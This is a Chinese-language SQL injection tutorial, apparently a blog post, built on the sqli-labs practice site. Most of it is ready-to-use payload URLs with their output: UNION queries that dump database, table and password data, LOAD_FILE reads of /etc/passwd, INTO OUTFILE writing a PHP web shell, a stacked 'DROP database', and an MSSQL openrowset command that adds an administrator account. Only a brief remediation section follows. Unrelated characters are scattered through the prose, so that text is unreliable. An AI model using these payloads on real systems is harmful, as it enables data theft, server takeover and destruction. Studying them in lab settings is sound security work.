SQL注入是什么
SQL注入是一種將SQL代碼插入或添加到應(yīng)用(用戶)的輸入?yún)?shù)中的攻擊崖瞭,之后再將這些參數(shù)傳遞給后臺(tái)的SQL服務(wù)器加以解析并執(zhí)行擅编。
SQL注入漏洞產(chǎn)生原理
對(duì)構(gòu)造成SQL語句的變量叫挟,過濾不嚴(yán)格赘来,造成可以構(gòu)造任意的SQL語句皮假,傳遞到數(shù)據(jù)庫執(zhí)行转锈。
哪里能夠引發(fā)SQL注入
- get query string
- port string
- http header
SQL注入分類
- UNION query SQL injection(可聯(lián)合查詢注入)
- Boolean-based blind SQL injection(布爾型注入)
- Error-based SQL injection(報(bào)錯(cuò)型注入)
- Stacked queries SQL injection(可多語句查詢注入)
- Time-based blind SQL injection(基于時(shí)間延遲注入)
如何判斷SQL注入
'
\
and 1=1 / and 1=2
+1 / -1
and sleep(5)
………
SQL注入利用手法
UNION query SQL injection(可聯(lián)合查詢注入)
優(yōu)點(diǎn)
方便 易于利用 快捷
缺點(diǎn)
要求網(wǎng)站沒有過濾關(guān)鍵字 沒有轉(zhuǎn)義 有顯示位
利用
判斷是否能注入及注入類型
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
near '(')1'(') LIMIT 0,1' at
說明是字符型
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and '1' = '1
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and 1 = 1 --+
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and 1 = 1 --%20
返回正常
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and '1' = '2
返回錯(cuò)誤
判斷列數(shù)
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' ORDER BY 1,2,3 --+
返回正常
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' ORDER BY 1,2,3,4 --+
報(bào)錯(cuò)
Unknown column '4' in 'order clause'
說明有3列
獲取所有數(shù)據(jù)庫
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(schema_name),3 FROM information_schema.schemata --+
Your Login name:information_schema,challenges,mysql,performance_schema,security,test
Your Password:3
獲取所有表名
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
Your Login name:2
Your Password:emails,referers,uagents,users
獲取所有列名
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name='users' --+
Your Login name:2
Your Password:id,username,password
字段查詢
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(id,0x7e,username,0x7e,password) FROM users --+
Your Login name:2
Your Password:1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5~stupid…
文件讀取
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,hex(LOAD_FILE('/etc/passwd')) --+
Your Login name:2
Your Password:3131313131313131
文件寫入
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,'<?php xxxxxxx ?>' INTO OUTFILE '/var/www/html/shell.php' --+
Error-based SQL injection(報(bào)錯(cuò)型注入)
優(yōu)點(diǎn)
良好的效果 語句固定
缺點(diǎn)
需要腳本輸出 sql錯(cuò)誤信息
利用
rand()函數(shù)是生成0-1之間的小數(shù)隨機(jī)值,rand()*2是生成0-2之間的小數(shù)隨機(jī)數(shù)尤误,floor(rand()*2)就相當(dāng)于生成0/1兩個(gè)隨機(jī)值
1侠畔、
?id=-1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),0x3a,database())x FROM information_schema.tables GROUP BY x)a)--+
結(jié)果:
Duplicate entry '1:security' for key 'group_key'
還可以用
left(RAND(0),3)
right(RAND(0),1)
ceil(rand(0)*2)
2、
?id=-1' and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+
XPATH syntax error: '~information_schema,challenges,d'
數(shù)據(jù)有限
3袄膏、
?id=-1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
4践图、
分享完添加
Boolean-based blind SQL injection(布爾型注入)
優(yōu)點(diǎn)
良好的效果 利用條件不難
缺點(diǎn)
工作量大 需要時(shí)間
利用
length()函數(shù)
mysql> select length("1234567890");
+----------------------+
| length("1234567890") |
+----------------------+
| 10 |
+----------------------+
1 row in set (0.00 sec)
因?yàn)?br>
mysql> select length(database()) > 1;
+------------------------+
| length(database()) > 1 |
+------------------------+
| 1 |
+------------------------+
所以有
?id=1' and length(database())>1 --+ 成立
?id=1' and length(user())>1 --+ 成立
mysql> select (select count(*) from users where length(id)) > 0;
+---------------------------------------------------+
| (select count(**) from users where length(id)) > 0 |
+---------------------------------------------------+
| 1 |
+---------------------------------------------------+
證明 users 表存在
.......
substr()函數(shù)
substr(string,start,length)
string - 指定的要截取的字符串掺冠。
start - 必需沉馆,規(guī)定在字符串的何處開始码党。正數(shù) - 在字符串的指定位置開始,負(fù)數(shù) - 在從字符串結(jié)尾的指定位置開始斥黑,0 - 在字符串中的第一個(gè)字符處開始揖盘。
length - 可選,指定要截取的字符串長度锌奴,缺省時(shí)返回字符表達(dá)式的值結(jié)束前的全部字符兽狭。
例、
mysql> select substr("1234567890",1,3);
+--------------------------+
| substr("1234567890",1,3) |
+--------------------------+
| 123 |
+--------------------------+
1 row in set (0.00 sec)
因?yàn)?br>
mysql> select "a" = "a";
+-----------+
| "a" = "a" |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
所以
?id=1' and substr(database(),1,1)="s"--+
ascii()函數(shù)
ASCII(str)
返回最左邊的字符的字符串str的數(shù)值鹿蜀。
// ord()
mysql> select ascii("a");
+------------+
| ascii("a") |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)
所以
?id=1' and ascii(substr(database(),1,1)) = 115--+
其他:
MAKE_SET(bits,str1,str2,...)
返回一組值(包含子字符串分隔箕慧,字符)組成的字符串有相應(yīng)的位設(shè)置位。str1的對(duì)應(yīng)于str2的位0茴恰,位1颠焦,依此類推。在str1往枣,str2中伐庭,NULL值...不添加到結(jié)果。
例
mysql> SELECT MAKE_SET(1,(version()));
+-------------------------+
| MAKE_SET(1,(version())) |
+-------------------------+
| 5.5.47 |
+-------------------------+
1 row in set (0.00 sec)
ELT(N,str1,str2,str3,...)
如果N =1返回str1分冈,如果N= 2返回str2圾另,
等等。
Stacked queries SQL injection(可多語句查詢注入)
優(yōu)點(diǎn)
利于構(gòu)造語句
缺點(diǎn)
有的數(shù)據(jù)庫不支持
利用
構(gòu)成語句:SELECT * FROM products WHERE id = 10; DROP database --
這在執(zhí)行完正常查詢之后將會(huì)執(zhí)行DROP查詢雕沉。
Time-based blind SQL injection(基于時(shí)間延遲注入)
優(yōu)點(diǎn)
可以在條件很苛刻的情況下注入(無報(bào)錯(cuò)集乔,無顯示位)
缺點(diǎn)
非常費(fèi)時(shí)間
利用
IF(Condition,A,B)
當(dāng)Condition為TRUE時(shí),返回A坡椒;當(dāng)Condition為FALSE時(shí)饺著,返回B。
Condition 可以是bool注入的語句
例:
1"+and+if(1=1, sleep(10), null)+--+
1"+and+if(1=0, sleep(10), null)+--+
其他函數(shù)也可以利用:
'IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false))
偏移注入
優(yōu)點(diǎn)
你知道目標(biāo)表的一個(gè)字段肠牲,比如id幼衰,但是卻不知道其他字段
缺點(diǎn)
Union合并查詢需要列相等,順序一樣
利用
只知道id段 可以查出所有字段
mysql> select * from (users as a join users as b on a.id=b.id );
+----+----------+------------+----+----------+------------+
| id | username | password | id | username | password |
+----+----------+------------+----+----------+------------+
| 1 | Dumb | Dumb | 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you | 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword | 3 | Dummy | p@ssword |
缀雳。渡嚣。。肥印。识椰。。深碱。腹鹉。
| 14 | admin4 | admin4 | 14 | admin4 | admin4 |
+----+----------+------------+----+----------+------------+
13 rows in set (0.00 sec)
寬字節(jié)注入
優(yōu)點(diǎn)
GB2312、GBK敷硅、GB18030功咒、BIG5愉阎、Shift_JIS等這些寬字節(jié),如果開啟了轉(zhuǎn)義力奋,可以繞過
缺點(diǎn)
條件苛刻
利用
'是%27
\是%5c
輸入%df%27
轉(zhuǎn)義為%df%5c%27
則MySQL用GBK的編碼時(shí)榜旦,會(huì)認(rèn)為 %df%5c 是一個(gè)2字節(jié)的寬字符(縗)
%df%5c%27 就成了 縗' 而沒有了 ' 最后單引號(hào)可以被閉合
?id=%bf%27 union select 1,2,database() --+
二次注入
優(yōu)點(diǎn)
數(shù)據(jù)輸入sql無法繞過時(shí) 數(shù)據(jù)取出時(shí)也可以注入
缺點(diǎn)
不容易發(fā)現(xiàn)
利用
注冊(cè)時(shí)用戶名為admin'--+
去更改密碼 語句為:
sql = "update users set password = '" + $newpassword + "' where username = '" + $username + "'";
變成:
$username = admin'--+
sql = "update users set password = 'admin'--+' where username = '" + $username + "'";
更改了admin的密碼
MySQL root 讀寫文件
優(yōu)點(diǎn)
可以獲取大量敏感信息 系統(tǒng)信息
缺點(diǎn)
利用
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,hex(LOAD_FILE('/etc/passwd')) --+
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,'<?php xxxxxxx ?>' INTO OUTFILE '/test.txt' --+
MSSQL sa 執(zhí)行命令
優(yōu)點(diǎn)
直接取得服務(wù)器權(quán)限
缺點(diǎn)
條件苛刻
利用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
漏洞修補(bǔ)方案
整型注入修補(bǔ)方案
在接受參數(shù)時(shí),添加intval()
函數(shù)進(jìn)行過濾
添加is_numeric
字符串注入修補(bǔ)方案
轉(zhuǎn)義:
htmlspecialchars()
mysqli_real_escape_string()
過濾:
過濾關(guān)鍵字 過濾特殊字符
by secevery